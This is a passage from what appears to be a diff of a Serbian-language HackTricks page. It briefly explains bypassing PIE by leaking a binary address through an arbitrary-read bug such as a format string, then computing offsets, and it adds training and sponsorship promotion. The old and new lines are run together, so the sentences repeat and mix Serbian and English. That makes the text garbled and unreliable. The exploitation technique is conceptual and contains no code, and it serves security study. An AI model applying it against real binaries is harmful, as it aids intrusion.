* Koristite ranjivost proizvoljnog čitanja kao što je [**format string**](../../format-strings/) da procurite adresu binarnog fajla (npr. sa steka, kao u prethodnoj tehnici) da biste dobili bazu binarnog fajla i koristili offsete odande. [**Pronađite primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass). * Koristite ranjivost za proizvoljno čitanje kao što je [**format string**](../../format-strings/) da iscurite adresu binarnog fajla (npr. sa stack-a, kao u prethodnoj tehnici) da dobijete osnovu binarnog fajla i koristite ofsete odatle. [**Pronađite primer ovde**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## Reference ## Reference
* [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie) * [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Drugi načini podrške HackTricks-u: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili da **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJATELJSTVO**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details> </details>
{% endhint %}

Some files were not shown because too many files have changed in this diff Show more